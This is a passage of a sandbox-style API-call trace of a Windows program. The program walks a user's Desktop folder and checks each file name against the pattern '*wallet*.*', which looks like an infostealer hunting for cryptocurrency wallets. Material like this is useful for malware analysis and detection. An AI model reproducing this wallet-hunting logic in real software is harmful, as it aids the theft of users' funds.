(lpString1="..", lpString2=".") returned 1 [0099.565] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.565] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ab5220, ftCreationTime.dwHighDateTime=0x1d7abc3, ftLastAccessTime.dwLowDateTime=0xb95b0290, ftLastAccessTime.dwHighDateTime=0x1d7ad4f, ftLastWriteTime.dwLowDateTime=0xb95b0290, ftLastWriteTime.dwHighDateTime=0x1d7ad4f, nFileSizeHigh=0x0, nFileSizeLow=0x5f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtbyKgsBp9ITL0q.wav", cAlternateFileName="MTBYKG~1.WAV")) returned 1 [0099.565] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.565] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.566] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="mtbyKgsBp9ITL0q.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav" [0099.566] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.566] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.566] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="mtbyKgsBp9ITL0q.wav" | out: lpString1="\\EDvMoYL\\mtbyKgsBp9ITL0q.wav") returned="\\EDvMoYL\\mtbyKgsBp9ITL0q.wav" [0099.566] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0099.566] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3b) returned 0x2112ae0 [0099.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x2112ae0, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", lpUsedDefaultChar=0x0) returned 59 [0099.566] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a08 [0099.566] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0099.566] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.566] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430be0 [0099.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430be0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.566] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430380 [0099.566] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430be0 | out: hHeap=0x2110000) returned 1 [0099.566] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*wallet*.*") returned 0 [0099.566] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430380 | out: hHeap=0x2110000) returned 1 [0099.566] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0099.566] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabbfa910, ftCreationTime.dwHighDateTime=0x1d7a62e, ftLastAccessTime.dwLowDateTime=0x1f017030, ftLastAccessTime.dwHighDateTime=0x1d7a688, ftLastWriteTime.dwLowDateTime=0x1f017030, ftLastWriteTime.dwHighDateTime=0x1d7a688, nFileSizeHigh=0x0, nFileSizeLow=0x160b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="phZbMj_330X.png", cAlternateFileName="PHZBMJ~1.PNG")) returned 1 [0099.566] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.566] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.566] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="phZbMj_330X.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png" [0099.566] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.566] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.566] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="phZbMj_330X.png" | out: lpString1="\\EDvMoYL\\phZbMj_330X.png") returned="\\EDvMoYL\\phZbMj_330X.png" [0099.567] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.567] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33aa9a0 [0099.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x33aa9a0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", lpUsedDefaultChar=0x0) returned 55 [0099.567] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112d68 [0099.567] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa9a0 | out: hHeap=0x2110000) returned 1 [0099.567] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.567] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430de0 [0099.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430de0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.567] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430538 [0099.567] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430de0 | out: hHeap=0x2110000) returned 1 [0099.567] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*wallet*.*") returned 0 [0099.567] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430538 | out: hHeap=0x2110000) returned 1 [0099.567] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d68 | out: hHeap=0x2110000) returned 1 [0099.567] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c9890, ftCreationTime.dwHighDateTime=0x1d7a6b1, ftLastAccessTime.dwLowDateTime=0x7246ec70, ftLastAccessTime.dwHighDateTime=0x1d7af89, ftLastWriteTime.dwLowDateTime=0x7246ec70, ftLastWriteTime.dwHighDateTime=0x1d7af89, nFileSizeHigh=0x0, nFileSizeLow=0x11eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="UJ3K_uO6cMgmy7zg.flv", cAlternateFileName="UJ3K_U~1.FLV")) returned 1 [0099.567] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.567] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.567] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="UJ3K_uO6cMgmy7zg.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv" [0099.567] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.567] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.567] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="UJ3K_uO6cMgmy7zg.flv" | out: lpString1="\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv") returned="\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv" [0099.567] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21104a0 [0099.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.567] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112b28 [0099.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x2112b28, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", lpUsedDefaultChar=0x0) returned 60 [0099.568] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112c48 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.568] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ce0 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ce0 | out: hHeap=0x2110000) returned 1 [0099.568] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*wallet*.*") returned 0 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c48 | out: hHeap=0x2110000) returned 1 [0099.568] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87332790, ftCreationTime.dwHighDateTime=0x1d7ab7c, ftLastAccessTime.dwLowDateTime=0xafecd760, ftLastAccessTime.dwHighDateTime=0x1d7b047, ftLastWriteTime.dwLowDateTime=0xafecd760, ftLastWriteTime.dwHighDateTime=0x1d7b047, nFileSizeHigh=0x0, nFileSizeLow=0x4f9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRBCI1zk.flv", cAlternateFileName="")) returned 1 [0099.568] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.568] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.568] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="VRBCI1zk.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv" [0099.568] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.568] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.568] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="VRBCI1zk.flv" | out: lpString1="\\EDvMoYL\\VRBCI1zk.flv") returned="\\EDvMoYL\\VRBCI1zk.flv" [0099.568] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0099.568] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x34) returned 0x33aaaa0 [0099.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x33aaaa0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", lpUsedDefaultChar=0x0) returned 52 [0099.568] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112930 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaaa0 | out: hHeap=0x2110000) returned 1 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.568] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430bc0 | out: hHeap=0x2110000) returned 1 [0099.568] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*wallet*.*") returned 0 [0099.569] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430678 | out: hHeap=0x2110000) returned 1 [0099.569] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112930 | out: hHeap=0x2110000) returned 1 [0099.569] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2c4070, ftCreationTime.dwHighDateTime=0x1d7acdb, ftLastAccessTime.dwLowDateTime=0xd3dcdb60, ftLastAccessTime.dwHighDateTime=0x1d7aed6, ftLastWriteTime.dwLowDateTime=0xd3dcdb60, ftLastWriteTime.dwHighDateTime=0x1d7aed6, nFileSizeHigh=0x0, nFileSizeLow=0x8bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEdQh.m4a", cAlternateFileName="")) returned 1 [0099.569] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.569] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.569] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="WEdQh.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a" [0099.569] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.569] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.569] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="WEdQh.m4a" | out: lpString1="\\EDvMoYL\\WEdQh.m4a") returned="\\EDvMoYL\\WEdQh.m4a" [0099.569] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.569] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x31) returned 0x33aaa60 [0099.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x33aaa60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", lpUsedDefaultChar=0x0) returned 49 [0099.569] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112930 [0099.569] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaa60 | out: hHeap=0x2110000) returned 1 [0099.569] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.569] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0099.569] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*wallet*.*") returned 0 [0099.569] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430448 | out: hHeap=0x2110000) returned 1 [0099.569] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112930 | out: hHeap=0x2110000) returned 1 [0099.569] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 1 [0099.569] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.569] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.569] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="_xRb.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav" [0099.569] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.569] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.569] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="_xRb.wav" | out: lpString1="\\EDvMoYL\\_xRb.wav") returned="\\EDvMoYL\\_xRb.wav" [0099.570] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.570] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", lpUsedDefaultChar=0x0) returned 48 [0099.570] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.570] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.570] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.570] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d60 | out: hHeap=0x2110000) returned 1 [0099.570] PathMatchSpecW (pszFile="_xRb.wav", pszSpec="*wallet*.*") returned 0 [0099.570] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34305b0 | out: hHeap=0x2110000) returned 1 [0099.570] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.570] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 0 [0099.570] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.570] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa350 [0099.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.570] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x27) returned 0x211ab10 [0099.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", cchWideChar=39, lpMultiByteStr=0x211ab10, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpUsedDefaultChar=0x0) returned 39 [0099.570] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.570] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ab10 | out: hHeap=0x2110000) returned 1 [0099.570] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa350 | out: hHeap=0x2110000) returned 1 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e80 | out: hHeap=0x2110000) returned 1 [0099.571] PathMatchSpecW (pszFile="EDvMoYL", pszSpec="*wallet*.*") returned 0 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0099.571] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.571] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0007ba0, ftCreationTime.dwHighDateTime=0x1d7aee9, ftLastAccessTime.dwLowDateTime=0x1c72ab20, ftLastAccessTime.dwHighDateTime=0x1d7aef0, ftLastWriteTime.dwLowDateTime=0x1c72ab20, 